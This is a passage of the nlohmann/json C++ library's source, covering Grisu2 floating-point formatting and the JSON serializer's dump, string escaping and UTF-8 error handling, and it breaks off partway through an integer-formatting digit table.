log_10(2))\n            //\n            // decimal digits are sufficient to identify all binary floating-point\n            // numbers (Matula, \"In-and-Out conversions\").\n            // This implies that the algorithm does not produce more than N decimal\n            // digits.\n            //\n            //      N = 17 for p = 53 (IEEE double precision)\n            //      N = 9  for p = 24 (IEEE single precision)\n        }\n\n        /*!\n        v = buf * 10^decimal_exponent\n        len is the length of the buffer (number of decimal digits)\n        The buffer must be large enough, i.e. >= max_digits10.\n        */\n        JSON_HEDLEY_NON_NULL(1)\n            inline void grisu2(char* buf, int& len, int& decimal_exponent,\n                diyfp m_minus, diyfp v, diyfp m_plus)\n        {\n            JSON_ASSERT(m_plus.e == m_minus.e);\n            JSON_ASSERT(m_plus.e == v.e);\n\n            //  --------(-----------------------+-----------------------)--------    (A)\n            //          m-                      v                       m+\n            //\n            //  --------------------(-----------+-----------------------)--------    (B)\n            //                      m-          v                       m+\n            //\n            // First scale v (and m- and m+) such that the exponent is in the range\n            // [alpha, gamma].\n\n            const cached_power cached = get_cached_power_for_binary_exponent(m_plus.e);\n\n            const diyfp c_minus_k(cached.f, cached.e); // = c ~= 10^-k\n\n            // The exponent of the products is = v.e + c_minus_k.e + q and is in the range [alpha,gamma]\n            const diyfp w = diyfp::mul(v, c_minus_k);\n            const diyfp w_minus = diyfp::mul(m_minus, c_minus_k);\n            const diyfp w_plus = diyfp::mul(m_plus, c_minus_k);\n\n            //  ----(---+---)---------------(---+---)---------------(---+---)----\n            //          w-                      w                       w+\n            //          = c*m-                  = c*v                   = c*m+\n            //\n            // diyfp::mul rounds its result and c_minus_k is approximated too. w, w- and\n            // w+ are now off by a small amount.\n            // In fact:\n            //\n            //      w - v * 10^k < 1 ulp\n            //\n            // To account for this inaccuracy, add resp. subtract 1 ulp.\n            //\n            //  --------+---[---------------(---+---)---------------]---+--------\n            //          w-  M-                  w                   M+  w+\n            //\n            // Now any number in [M-, M+] (bounds included) will round to w when input,\n            // regardless of how the input rounding algorithm breaks ties.\n            //\n            // And digit_gen generates the shortest possible such number in [M-, M+].\n            // Note that this does not mean that Grisu2 always generates the shortest\n            // possible number in the interval (m-, m+).\n            const diyfp M_minus(w_minus.f + 1, w_minus.e);\n            const diyfp M_plus(w_plus.f - 1, w_plus.e);\n\n            decimal_exponent = -cached.k; // = -(-k) = k\n\n            grisu2_digit_gen(buf, len, decimal_exponent, M_minus, w, M_plus);\n        }\n\n        /*!\n        v = buf * 10^decimal_exponent\n        len is the length of the buffer (number of decimal digits)\n        The buffer must be large enough, i.e. >= max_digits10.\n        */\n        template<typename FloatType>\n        JSON_HEDLEY_NON_NULL(1)\n            void grisu2(char* buf, int& len, int& decimal_exponent, FloatType value)\n        {\n            static_assert(diyfp::kPrecision >= std::numeric_limits<FloatType>::digits + 3,\n                \"internal error: not enough precision\");\n\n            JSON_ASSERT(std::isfinite(value));\n            JSON_ASSERT(value > 0);\n\n            // If the neighbors (and boundaries) of 'value' are always computed for double-precision\n            // numbers, all float's can be recovered using strtod (and strtof). However, the resulting\n            // decimal representations are not exactly \"short\".\n            //\n            // The documentation for 'std::to_chars' (https://en.cppreference.com/w/cpp/utility/to_chars)\n            // says \"value is converted to a string as if by std::sprintf in the default (\"C\") locale\"\n            // and since sprintf promotes floats to doubles, I think this is exactly what 'std::to_chars'\n            // does.\n            // On the other hand, the documentation for 'std::to_chars' requires that \"parsing the\n            // representation using the corresponding std::from_chars function recovers value exactly\". That\n            // indicates that single precision floating-point numbers should be recovered using\n            // 'std::strtof'.\n            //\n            // NB: If the neighbors are computed for single-precision numbers, there is a single float\n            //     (7.0385307e-26f) which can't be recovered using strtod. The resulting double precision\n            //     value is off by 1 ulp.\n#if 0 // NOLINT(readability-avoid-unconditional-preprocessor-if)\n            const boundaries w = compute_boundaries(static_cast<double>(value));\n#else\n            const boundaries w = compute_boundaries(value);\n#endif\n\n            grisu2(buf, len, decimal_exponent, w.minus, w.w, w.plus);\n        }\n\n        /*!\n        @brief appends a decimal representation of e to buf\n        @return a pointer to the element following the exponent.\n        @pre -1000 < e < 1000\n        */\n        JSON_HEDLEY_NON_NULL(1)\n            JSON_HEDLEY_RETURNS_NON_NULL\n            inline char* append_exponent(char* buf, int e)\n        {\n            JSON_ASSERT(e > -1000);\n            JSON_ASSERT(e < 1000);\n\n            if (e < 0)\n            {\n                e = -e;\n                *buf++ = '-';\n            }\n            else\n            {\n                *buf++ = '+';\n            }\n\n            auto k = static_cast<std::uint32_t>(e);\n            if (k < 10)\n            {\n                // Always print at least two digits in the exponent.\n                // This is for compatibility with printf(\"%g\").\n                *buf++ = '0';\n                *buf++ = static_cast<char>('0' + k);\n            }\n            else if (k < 100)\n            {\n                *buf++ = static_cast<char>('0' + k / 10);\n                k %= 10;\n                *buf++ = static_cast<char>('0' + k);\n            }\n            else\n            {\n                *buf++ = static_cast<char>('0' + k / 100);\n                k %= 100;\n                *buf++ = static_cast<char>('0' + k / 10);\n                k %= 10;\n                *buf++ = static_cast<char>('0' + k);\n            }\n\n            return buf;\n        }\n\n        /*!\n        @brief prettify v = buf * 10^decimal_exponent\n\n        If v is in the range [10^min_exp, 10^max_exp) it will be printed in fixed-point\n        notation. Otherwise it will be printed in exponential notation.\n\n        @pre min_exp < 0\n        @pre max_exp > 0\n        */\n        JSON_HEDLEY_NON_NULL(1)\n            JSON_HEDLEY_RETURNS_NON_NULL\n            inline char* format_buffer(char* buf, int len, int decimal_exponent,\n                int min_exp, int max_exp)\n        {\n            JSON_ASSERT(min_exp < 0);\n            JSON_ASSERT(max_exp > 0);\n\n            const int k = len;\n            const int n = len + decimal_exponent;\n\n            // v = buf * 10^(n-k)\n            // k is the length of the buffer (number of decimal digits)\n            // n is the position of the decimal point relative to the start of the buffer.\n\n            if (k <= n && n <= max_exp)\n            {\n                // digits[000]\n                // len <= max_exp + 2\n\n                std::memset(buf + k, '0', static_cast<size_t>(n) - static_cast<size_t>(k));\n                // Make it look like a floating-point number (#362, #378)\n                buf[n + 0] = '.';\n                buf[n + 1] = '0';\n                return buf + (static_cast<size_t>(n) + 2);\n            }\n\n            if (0 < n && n <= max_exp)\n            {\n                // dig.its\n                // len <= max_digits10 + 1\n\n                JSON_ASSERT(k > n);\n\n                std::memmove(buf + (static_cast<size_t>(n) + 1), buf + n, static_cast<size_t>(k) - static_cast<size_t>(n));\n                buf[n] = '.';\n                return buf + (static_cast<size_t>(k) + 1U);\n            }\n\n            if (min_exp < n && n <= 0)\n            {\n                // 0.[000]digits\n                // len <= 2 + (-min_exp - 1) + max_digits10\n\n                std::memmove(buf + (2 + static_cast<size_t>(-n)), buf, static_cast<size_t>(k));\n                buf[0] = '0';\n                buf[1] = '.';\n                std::memset(buf + 2, '0', static_cast<size_t>(-n));\n                return buf + (2U + static_cast<size_t>(-n) + static_cast<size_t>(k));\n            }\n\n            if (k == 1)\n            {\n                // dE+123\n                // len <= 1 + 5\n\n                buf += 1;\n            }\n            else\n            {\n                // d.igitsE+123\n                // len <= max_digits10 + 1 + 5\n\n                std::memmove(buf + 2, buf + 1, static_cast<size_t>(k) - 1);\n                buf[1] = '.';\n                buf += 1 + static_cast<size_t>(k);\n            }\n\n            *buf++ = 'e';\n            return append_exponent(buf, n - 1);\n        }\n\n    }  // namespace dtoa_impl\n\n    /*!\n    @brief generates a decimal representation of the floating-point number value in [first, last).\n\n    The format of the resulting decimal representation is similar to printf's %g\n    format. Returns an iterator pointing past-the-end of the decimal representation.\n\n    @note The input number must be finite, i.e. NaN's and Inf's are not supported.\n    @note The buffer must be large enough.\n    @note The result is NOT null-terminated.\n    */\n    template<typename FloatType>\n    JSON_HEDLEY_NON_NULL(1, 2)\n        JSON_HEDLEY_RETURNS_NON_NULL\n        char* to_chars(char* first, const char* last, FloatType value)\n    {\n        static_cast<void>(last); // maybe unused - fix warning\n        JSON_ASSERT(std::isfinite(value));\n\n        // Use signbit(value) instead of (value < 0) since signbit works for -0.\n        if (std::signbit(value))\n        {\n            value = -value;\n            *first++ = '-';\n        }\n\n#ifdef __GNUC__\n#pragma GCC diagnostic push\n#pragma GCC diagnostic ignored \"-Wfloat-equal\"\n#endif\n        if (value == 0) // +-0\n        {\n            *first++ = '0';\n            // Make it look like a floating-point number (#362, #378)\n            *first++ = '.';\n            *first++ = '0';\n            return first;\n        }\n#ifdef __GNUC__\n#pragma GCC diagnostic pop\n#endif\n\n        JSON_ASSERT(last - first >= std::numeric_limits<FloatType>::max_digits10);\n\n        // Compute v = buffer * 10^decimal_exponent.\n        // The decimal digits are stored in the buffer, which needs to be interpreted\n        // as an unsigned decimal integer.\n        // len is the length of the buffer, i.e. the number of decimal digits.\n        int len = 0;\n        int decimal_exponent = 0;\n        dtoa_impl::grisu2(first, len, decimal_exponent, value);\n\n        JSON_ASSERT(len <= std::numeric_limits<FloatType>::max_digits10);\n\n        // Format the buffer like printf(\"%.*g\", prec, value)\n        constexpr int kMinExp = -4;\n        // Use digits10 here to increase compatibility with version 2.\n        constexpr int kMaxExp = std::numeric_limits<FloatType>::digits10;\n\n        JSON_ASSERT(last - first >= kMaxExp + 2);\n        JSON_ASSERT(last - first >= 2 + (-kMinExp - 1) + std::numeric_limits<FloatType>::max_digits10);\n        JSON_ASSERT(last - first >= std::numeric_limits<FloatType>::max_digits10 + 6);\n\n        return dtoa_impl::format_buffer(first, len, decimal_exponent, kMinExp, kMaxExp);\n    }\n\n}  // namespace detail\nNLOHMANN_JSON_NAMESPACE_END\n\n// #include <nlohmann/detail/exceptions.hpp>\n\n// #include <nlohmann/detail/macro_scope.hpp>\n\n// #include <nlohmann/detail/meta/cpp_future.hpp>\n\n// #include <nlohmann/detail/output/binary_writer.hpp>\n\n// #include <nlohmann/detail/output/output_adapters.hpp>\n\n// #include <nlohmann/detail/string_concat.hpp>\n\n// #include <nlohmann/detail/value_t.hpp>\n\n\nNLOHMANN_JSON_NAMESPACE_BEGIN\nnamespace detail\n{\n\n    ///////////////////\n    // serialization //\n    ///////////////////\n\n    /// how to treat decoding errors\n    enum class error_handler_t\n    {\n        strict,  ///< throw a type_error exception in case of invalid UTF-8\n        replace, ///< replace invalid UTF-8 sequences with U+FFFD\n        ignore   ///< ignore invalid UTF-8 sequences\n    };\n\n    template<typename BasicJsonType>\n    class serializer\n    {\n        using string_t = typename BasicJsonType::string_t;\n        using number_float_t = typename BasicJsonType::number_float_t;\n        using number_integer_t = typename BasicJsonType::number_integer_t;\n        using number_unsigned_t = typename BasicJsonType::number_unsigned_t;\n        using binary_char_t = typename BasicJsonType::binary_t::value_type;\n        static constexpr std::uint8_t UTF8_ACCEPT = 0;\n        static constexpr std::uint8_t UTF8_REJECT = 1;\n\n    public:\n        /*!\n        @param[in] s  output stream to serialize to\n        @param[in] ichar  indentation character to use\n        @param[in] error_handler_  how to react on decoding errors\n        */\n        serializer(output_adapter_t<char> s, const char ichar,\n            error_handler_t error_handler_ = error_handler_t::strict)\n            : o(std::move(s))\n            , loc(std::localeconv())\n            , thousands_sep(loc->thousands_sep == nullptr ? '\\0' : std::char_traits<char>::to_char_type(*(loc->thousands_sep)))\n            , decimal_point(loc->decimal_point == nullptr ? '\\0' : std::char_traits<char>::to_char_type(*(loc->decimal_point)))\n            , indent_char(ichar)\n            , indent_string(512, indent_char)\n            , error_handler(error_handler_)\n        {\n        }\n\n        // delete because of pointer members\n        serializer(const serializer&) = delete;\n        serializer& operator=(const serializer&) = delete;\n        serializer(serializer&&) = delete;\n        serializer& operator=(serializer&&) = delete;\n        ~serializer() = default;\n\n        /*!\n        @brief internal implementation of the serialization function\n\n        This function is called by the public member function dump and organizes\n        the serialization internally. The indentation level is propagated as\n        additional parameter. In case of arrays and objects, the function is\n        called recursively.\n\n        - strings and object keys are escaped using `escape_string()`\n        - integer numbers are converted implicitly via `operator<<`\n        - floating-point numbers are converted to a string using `\"%g\"` format\n        - binary values are serialized as objects containing the subtype and the\n          byte array\n\n        @param[in] val               value to serialize\n        @param[in] pretty_print      whether the output shall be pretty-printed\n        @param[in] ensure_ascii If @a ensure_ascii is true, all non-ASCII characters\n        in the output are escaped with `\\uXXXX` sequences, and the result consists\n        of ASCII characters only.\n        @param[in] indent_step       the indent level\n        @param[in] current_indent    the current indent level (only used internally)\n        */\n        void dump(const BasicJsonType& val,\n            const bool pretty_print,\n            const bool ensure_ascii,\n            const unsigned int indent_step,\n            const unsigned int current_indent = 0)\n        {\n            switch (val.m_data.m_type)\n            {\n            case value_t::object:\n            {\n                if (val.m_data.m_value.object->empty())\n                {\n                    o->write_characters(\"{}\", 2);\n                    return;\n                }\n\n                if (pretty_print)\n                {\n                    o->write_characters(\"{\\n\", 2);\n\n                    // variable to hold indentation for recursive calls\n                    const auto new_indent = current_indent + indent_step;\n                    if (JSON_HEDLEY_UNLIKELY(indent_string.size() < new_indent))\n                    {\n                        indent_string.resize(indent_string.size() * 2, ' ');\n                    }\n\n                    // first n-1 elements\n                    auto i = val.m_data.m_value.object->cbegin();\n                    for (std::size_t cnt = 0; cnt < val.m_data.m_value.object->size() - 1; ++cnt, ++i)\n                    {\n                        o->write_characters(indent_string.c_str(), new_indent);\n                        o->write_character('\\\"');\n                        dump_escaped(i->first, ensure_ascii);\n                        o->write_characters(\"\\\": \", 3);\n                        dump(i->second, true, ensure_ascii, indent_step, new_indent);\n                        o->write_characters(\",\\n\", 2);\n                    }\n\n                    // last element\n                    JSON_ASSERT(i != val.m_data.m_value.object->cend());\n                    JSON_ASSERT(std::next(i) == val.m_data.m_value.object->cend());\n                    o->write_characters(indent_string.c_str(), new_indent);\n                    o->write_character('\\\"');\n                    dump_escaped(i->first, ensure_ascii);\n                    o->write_characters(\"\\\": \", 3);\n                    dump(i->second, true, ensure_ascii, indent_step, new_indent);\n\n                    o->write_character('\\n');\n                    o->write_characters(indent_string.c_str(), current_indent);\n                    o->write_character('}');\n                }\n                else\n                {\n                    o->write_character('{');\n\n                    // first n-1 elements\n                    auto i = val.m_data.m_value.object->cbegin();\n                    for (std::size_t cnt = 0; cnt < val.m_data.m_value.object->size() - 1; ++cnt, ++i)\n                    {\n                        o->write_character('\\\"');\n                        dump_escaped(i->first, ensure_ascii);\n                        o->write_characters(\"\\\":\", 2);\n                        dump(i->second, false, ensure_ascii, indent_step, current_indent);\n                        o->write_character(',');\n                    }\n\n                    // last element\n                    JSON_ASSERT(i != val.m_data.m_value.object->cend());\n                    JSON_ASSERT(std::next(i) == val.m_data.m_value.object->cend());\n                    o->write_character('\\\"');\n                    dump_escaped(i->first, ensure_ascii);\n                    o->write_characters(\"\\\":\", 2);\n                    dump(i->second, false, ensure_ascii, indent_step, current_indent);\n\n                    o->write_character('}');\n                }\n\n                return;\n            }\n\n            case value_t::array:\n            {\n                if (val.m_data.m_value.array->empty())\n                {\n                    o->write_characters(\"[]\", 2);\n                    return;\n                }\n\n                if (pretty_print)\n                {\n                    o->write_characters(\"[\\n\", 2);\n\n                    // variable to hold indentation for recursive calls\n                    const auto new_indent = current_indent + indent_step;\n                    if (JSON_HEDLEY_UNLIKELY(indent_string.size() < new_indent))\n                    {\n                        indent_string.resize(indent_string.size() * 2, ' ');\n                    }\n\n                    // first n-1 elements\n                    for (auto i = val.m_data.m_value.array->cbegin();\n                        i != val.m_data.m_value.array->cend() - 1; ++i)\n                    {\n                        o->write_characters(indent_string.c_str(), new_indent);\n                        dump(*i, true, ensure_ascii, indent_step, new_indent);\n                        o->write_characters(\",\\n\", 2);\n                    }\n\n                    // last element\n                    JSON_ASSERT(!val.m_data.m_value.array->empty());\n                    o->write_characters(indent_string.c_str(), new_indent);\n                    dump(val.m_data.m_value.array->back(), true, ensure_ascii, indent_step, new_indent);\n\n                    o->write_character('\\n');\n                    o->write_characters(indent_string.c_str(), current_indent);\n                    o->write_character(']');\n                }\n                else\n                {\n                    o->write_character('[');\n\n                    // first n-1 elements\n                    for (auto i = val.m_data.m_value.array->cbegin();\n                        i != val.m_data.m_value.array->cend() - 1; ++i)\n                    {\n                        dump(*i, false, ensure_ascii, indent_step, current_indent);\n                        o->write_character(',');\n                    }\n\n                    // last element\n                    JSON_ASSERT(!val.m_data.m_value.array->empty());\n                    dump(val.m_data.m_value.array->back(), false, ensure_ascii, indent_step, current_indent);\n\n                    o->write_character(']');\n                }\n\n                return;\n            }\n\n            case value_t::string:\n            {\n                o->write_character('\\\"');\n                dump_escaped(*val.m_data.m_value.string, ensure_ascii);\n                o->write_character('\\\"');\n                return;\n            }\n\n            case value_t::binary:\n            {\n                if (pretty_print)\n                {\n                    o->write_characters(\"{\\n\", 2);\n\n                    // variable to hold indentation for recursive calls\n                    const auto new_indent = current_indent + indent_step;\n                    if (JSON_HEDLEY_UNLIKELY(indent_string.size() < new_indent))\n                    {\n                        indent_string.resize(indent_string.size() * 2, ' ');\n                    }\n\n                    o->write_characters(indent_string.c_str(), new_indent);\n\n                    o->write_characters(\"\\\"bytes\\\": [\", 10);\n\n                    if (!val.m_data.m_value.binary->empty())\n                    {\n                        for (auto i = val.m_data.m_value.binary->cbegin();\n                            i != val.m_data.m_value.binary->cend() - 1; ++i)\n                        {\n                            dump_integer(*i);\n                            o->write_characters(\", \", 2);\n                        }\n                        dump_integer(val.m_data.m_value.binary->back());\n                    }\n\n                    o->write_characters(\"],\\n\", 3);\n                    o->write_characters(indent_string.c_str(), new_indent);\n\n                    o->write_characters(\"\\\"subtype\\\": \", 11);\n                    if (val.m_data.m_value.binary->has_subtype())\n                    {\n                        dump_integer(val.m_data.m_value.binary->subtype());\n                    }\n                    else\n                    {\n                        o->write_characters(\"null\", 4);\n                    }\n                    o->write_character('\\n');\n                    o->write_characters(indent_string.c_str(), current_indent);\n                    o->write_character('}');\n                }\n                else\n                {\n                    o->write_characters(\"{\\\"bytes\\\":[\", 10);\n\n                    if (!val.m_data.m_value.binary->empty())\n                    {\n                        for (auto i = val.m_data.m_value.binary->cbegin();\n                            i != val.m_data.m_value.binary->cend() - 1; ++i)\n                        {\n                            dump_integer(*i);\n                            o->write_character(',');\n                        }\n                        dump_integer(val.m_data.m_value.binary->back());\n                    }\n\n                    o->write_characters(\"],\\\"subtype\\\":\", 12);\n                    if (val.m_data.m_value.binary->has_subtype())\n                    {\n                        dump_integer(val.m_data.m_value.binary->subtype());\n                        o->write_character('}');\n                    }\n                    else\n                    {\n                        o->write_characters(\"null}\", 5);\n                    }\n                }\n                return;\n            }\n\n            case value_t::boolean:\n            {\n                if (val.m_data.m_value.boolean)\n                {\n                    o->write_characters(\"true\", 4);\n                }\n                else\n                {\n                    o->write_characters(\"false\", 5);\n                }\n                return;\n            }\n\n            case value_t::number_integer:\n            {\n                dump_integer(val.m_data.m_value.number_integer);\n                return;\n            }\n\n            case value_t::number_unsigned:\n            {\n                dump_integer(val.m_data.m_value.number_unsigned);\n                return;\n            }\n\n            case value_t::number_float:\n            {\n                dump_float(val.m_data.m_value.number_float);\n                return;\n            }\n\n            case value_t::discarded:\n            {\n                o->write_characters(\"<discarded>\", 11);\n                return;\n            }\n\n            case value_t::null:\n            {\n                o->write_characters(\"null\", 4);\n                return;\n            }\n\n            default:            // LCOV_EXCL_LINE\n                JSON_ASSERT(false); // NOLINT(cert-dcl03-c,hicpp-static-assert,misc-static-assert) LCOV_EXCL_LINE\n            }\n        }\n\n    JSON_PRIVATE_UNLESS_TESTED:\n        /*!\n        @brief dump escaped string\n\n        Escape a string by replacing certain special characters by a sequence of an\n        escape character (backslash) and another character and other control\n        characters by a sequence of \"\\u\" followed by a four-digit hex\n        representation. The escaped string is written to output stream @a o.\n\n        @param[in] s  the string to escape\n        @param[in] ensure_ascii  whether to escape non-ASCII characters with\n                                 \\uXXXX sequences\n\n        @complexity Linear in the length of string @a s.\n        */\n        void dump_escaped(const string_t& s, const bool ensure_ascii)\n        {\n            std::uint32_t codepoint{};\n            std::uint8_t state = UTF8_ACCEPT;\n            std::size_t bytes = 0;  // number of bytes written to string_buffer\n\n            // number of bytes written at the point of the last valid byte\n            std::size_t bytes_after_last_accept = 0;\n            std::size_t undumped_chars = 0;\n\n            for (std::size_t i = 0; i < s.size(); ++i)\n            {\n                const auto byte = static_cast<std::uint8_t>(s[i]);\n\n                switch (decode(state, codepoint, byte))\n                {\n                case UTF8_ACCEPT:  // decode found a new code point\n                {\n                    switch (codepoint)\n                    {\n                    case 0x08: // backspace\n                    {\n                        string_buffer[bytes++] = '\\\\';\n                        string_buffer[bytes++] = 'b';\n                        break;\n                    }\n\n                    case 0x09: // horizontal tab\n                    {\n                        string_buffer[bytes++] = '\\\\';\n                        string_buffer[bytes++] = 't';\n                        break;\n                    }\n\n                    case 0x0A: // newline\n                    {\n                        string_buffer[bytes++] = '\\\\';\n                        string_buffer[bytes++] = 'n';\n                        break;\n                    }\n\n                    case 0x0C: // formfeed\n                    {\n                        string_buffer[bytes++] = '\\\\';\n                        string_buffer[bytes++] = 'f';\n                        break;\n                    }\n\n                    case 0x0D: // carriage return\n                    {\n                        string_buffer[bytes++] = '\\\\';\n                        string_buffer[bytes++] = 'r';\n                        break;\n                    }\n\n                    case 0x22: // quotation mark\n                    {\n                        string_buffer[bytes++] = '\\\\';\n                        string_buffer[bytes++] = '\\\"';\n                        break;\n                    }\n\n                    case 0x5C: // reverse solidus\n                    {\n                        string_buffer[bytes++] = '\\\\';\n                        string_buffer[bytes++] = '\\\\';\n                        break;\n                    }\n\n                    default:\n                    {\n                        // escape control characters (0x00..0x1F) or, if\n                        // ensure_ascii parameter is used, non-ASCII characters\n                        if ((codepoint <= 0x1F) || (ensure_ascii && (codepoint >= 0x7F)))\n                        {\n                            if (codepoint <= 0xFFFF)\n                            {\n                                // NOLINTNEXTLINE(cppcoreguidelines-pro-type-vararg,hicpp-vararg)\n                                static_cast<void>((std::snprintf)(string_buffer.data() + bytes, 7, \"\\\\u%04x\",\n                                    static_cast<std::uint16_t>(codepoint)));\n                                bytes += 6;\n                            }\n                            else\n                            {\n                                // NOLINTNEXTLINE(cppcoreguidelines-pro-type-vararg,hicpp-vararg)\n                                static_cast<void>((std::snprintf)(string_buffer.data() + bytes, 13, \"\\\\u%04x\\\\u%04x\",\n                                    static_cast<std::uint16_t>(0xD7C0u + (codepoint >> 10u)),\n                                    static_cast<std::uint16_t>(0xDC00u + (codepoint & 0x3FFu))));\n                                bytes += 12;\n                            }\n                        }\n                        else\n                        {\n                            // copy byte to buffer (all previous bytes\n                            // been copied have in default case above)\n                            string_buffer[bytes++] = s[i];\n                        }\n                        break;\n                    }\n                    }\n\n                    // write buffer and reset index; there must be 13 bytes\n                    // left, as this is the maximal number of bytes to be\n                    // written (\"\\uxxxx\\uxxxx\\0\") for one code point\n                    if (string_buffer.size() - bytes < 13)\n                    {\n                        o->write_characters(string_buffer.data(), bytes);\n                        bytes = 0;\n                    }\n\n                    // remember the byte position of this accept\n                    bytes_after_last_accept = bytes;\n                    undumped_chars = 0;\n                    break;\n                }\n\n                case UTF8_REJECT:  // decode found invalid UTF-8 byte\n                {\n                    switch (error_handler)\n                    {\n                    case error_handler_t::strict:\n                    {\n                        JSON_THROW(type_error::create(316, concat(\"invalid UTF-8 byte at index \", std::to_string(i), \": 0x\", hex_bytes(byte | 0)), nullptr));\n                    }\n\n                    case error_handler_t::ignore:\n                    case error_handler_t::replace:\n                    {\n                        // in case we saw this character the first time, we\n                        // would like to read it again, because the byte\n                        // may be OK for itself, but just not OK for the\n                        // previous sequence\n                        if (undumped_chars > 0)\n                        {\n                            --i;\n                        }\n\n                        // reset length buffer to the last accepted index;\n                        // thus removing/ignoring the invalid characters\n                        bytes = bytes_after_last_accept;\n\n                        if (error_handler == error_handler_t::replace)\n                        {\n                            // add a replacement character\n                            if (ensure_ascii)\n                            {\n                                string_buffer[bytes++] = '\\\\';\n                                string_buffer[bytes++] = 'u';\n                                string_buffer[bytes++] = 'f';\n                                string_buffer[bytes++] = 'f';\n                                string_buffer[bytes++] = 'f';\n                                string_buffer[bytes++] = 'd';\n                            }\n                            else\n                            {\n                                string_buffer[bytes++] = detail::binary_writer<BasicJsonType, char>::to_char_type('\\xEF');\n                                string_buffer[bytes++] = detail::binary_writer<BasicJsonType, char>::to_char_type('\\xBF');\n                                string_buffer[bytes++] = detail::binary_writer<BasicJsonType, char>::to_char_type('\\xBD');\n                            }\n\n                            // write buffer and reset index; there must be 13 bytes\n                            // left, as this is the maximal number of bytes to be\n                            // written (\"\\uxxxx\\uxxxx\\0\") for one code point\n                            if (string_buffer.size() - bytes < 13)\n                            {\n                                o->write_characters(string_buffer.data(), bytes);\n                                bytes = 0;\n                            }\n\n                            bytes_after_last_accept = bytes;\n                        }\n\n                        undumped_chars = 0;\n\n                        // continue processing the string\n                        state = UTF8_ACCEPT;\n                        break;\n                    }\n\n                    default:            // LCOV_EXCL_LINE\n                        JSON_ASSERT(false); // NOLINT(cert-dcl03-c,hicpp-static-assert,misc-static-assert) LCOV_EXCL_LINE\n                    }\n                    break;\n                }\n\n                default:  // decode found yet incomplete multi-byte code point\n                {\n                    if (!ensure_ascii)\n                    {\n                        // code point will not be escaped - copy byte to buffer\n                        string_buffer[bytes++] = s[i];\n                    }\n                    ++undumped_chars;\n                    break;\n                }\n                }\n            }\n\n            // we finished processing the string\n            if (JSON_HEDLEY_LIKELY(state == UTF8_ACCEPT))\n            {\n                // write buffer\n                if (bytes > 0)\n                {\n                    o->write_characters(string_buffer.data(), bytes);\n                }\n            }\n            else\n            {\n                // we finish reading, but do not accept: string was incomplete\n                switch (error_handler)\n                {\n                case error_handler_t::strict:\n                {\n                    JSON_THROW(type_error::create(316, concat(\"incomplete UTF-8 string; last byte: 0x\", hex_bytes(static_cast<std::uint8_t>(s.back() | 0))), nullptr));\n                }\n\n                case error_handler_t::ignore:\n                {\n                    // write all accepted bytes\n                    o->write_characters(string_buffer.data(), bytes_after_last_accept);\n                    break;\n                }\n\n                case error_handler_t::replace:\n                {\n                    // write all accepted bytes\n                    o->write_characters(string_buffer.data(), bytes_after_last_accept);\n                    // add a replacement character\n                    if (ensure_ascii)\n                    {\n                        o->write_characters(\"\\\\ufffd\", 6);\n                    }\n                    else\n                    {\n                        o->write_characters(\"\\xEF\\xBF\\xBD\", 3);\n                    }\n                    break;\n                }\n\n                default:            // LCOV_EXCL_LINE\n                    JSON_ASSERT(false); // NOLINT(cert-dcl03-c,hicpp-static-assert,misc-static-assert) LCOV_EXCL_LINE\n                }\n            }\n        }\n\n    private:\n        /*!\n        @brief count digits\n\n        Count the number of decimal (base 10) digits for an input unsigned integer.\n\n        @param[in] x  unsigned integer number to count its digits\n        @return    number of decimal digits\n        */\n        inline unsigned int count_digits(number_unsigned_t x) noexcept\n        {\n            unsigned int n_digits = 1;\n            for (;;)\n            {\n                if (x < 10)\n                {\n                    return n_digits;\n                }\n                if (x < 100)\n                {\n                    return n_digits + 1;\n                }\n                if (x < 1000)\n                {\n                    return n_digits + 2;\n                }\n                if (x < 10000)\n                {\n                    return n_digits + 3;\n                }\n                x = x / 10000u;\n                n_digits += 4;\n            }\n        }\n\n        /*!\n         * @brief convert a byte to a uppercase hex representation\n         * @param[in] byte byte to represent\n         * @return representation (\"00\"..\"FF\")\n         */\n        static std::string hex_bytes(std::uint8_t byte)\n        {\n            std::string result = \"FF\";\n            constexpr const char* nibble_to_hex = \"0123456789ABCDEF\";\n            result[0] = nibble_to_hex[byte / 16];\n            result[1] = nibble_to_hex[byte % 16];\n            return result;\n        }\n\n        // templates to avoid warnings about useless casts\n        template <typename NumberType, enable_if_t<std::is_signed<NumberType>::value, int> = 0>\n        bool is_negative_number(NumberType x)\n        {\n            return x < 0;\n        }\n\n        template < typename NumberType, enable_if_t <std::is_unsigned<NumberType>::value, int > = 0 >\n        bool is_negative_number(NumberType /*unused*/)\n        {\n            return false;\n        }\n\n        /*!\n        @brief dump an integer\n\n        Dump a given integer to output stream @a o. Works internally with\n        @a number_buffer.\n\n        @param[in] x  integer number (signed or unsigned) to dump\n        @tparam NumberType either @a number_integer_t or @a number_unsigned_t\n        */\n        template < typename NumberType, detail::enable_if_t <\n            std::is_integral<NumberType>::value ||\n            std::is_same<NumberType, number_unsigned_t>::value ||\n            std::is_same<NumberType, number_integer_t>::value ||\n            std::is_same<NumberType, binary_char_t>::value,\n            int > = 0 >\n        void dump_integer(NumberType x)\n        {\n            static constexpr std::array<std::array<char, 2>, 100> digits_to_99\n            {\n                {\n                    {{'0', '0'}}, {{'0', '1'}}, {{'0', '2'}}, {{'0', '3'}}, {{'0', '4'}}, {{'0', '5'}}, {{'0', '6'}}, {{'0', '7'}}, {{'0', '8'}}, {{'0', '9'}},\n                    {{'1', '0'}}, {{'1', '1'}}, {{'1', '2'}}, {{'1', '3'}}, {{'1', '4'}}, {{'1', '5'}}, {{'1', '6'}}, {{'1', '7'}}, {{'1', '8'}}, {{'1', '9'}},\n                    {{'2', '0'}}, {{'2', '1'}}, {{'2', '2'}}, {{'2', '3'}}, {{'2', '4'}}, {{'2', '5'}}, {{'2', '6'}}, {{'2', '7'}}, {{'2', '8'}}, {{'2', '9'}},\n                    {{'3', '0'}}, {{'3', '1'}}, {{'3', '2'}}, {{'3', '3'}}, {{'3', '4'}}, {{'3', '5'}}, {{'3', '6'}}, {{'3', '7'}}, {{'3', '8'}}, {{'3', '9'}},\n                    {{'4', '0'}}, {{'4', '1'}}, {{'4', '2'}}, {{'4', '3'}}, {{'4', '4'}}, {{'4', '5'}}, {{'4', '6'}}, {{'4', '7'}}, {{'4', '8'}}, {{'4', '9'}},\n                    {{'5', '0'}}, {{'5', '1'}}, {{'5', '2'}}, {{'5', '3'}}, {{'5', '4'}}, {{'5', '5'}}, {{'5', '6'}}, {{'5', '7'}}, {{'5', '8'}}, {{'5', '9'}},\n                    {{'6', '0'}}, {{'6', '1'}}, {{'6', '2'}}, {{'6', '3'}}, {{'6', '4'}}, {{'6', '5'}}, 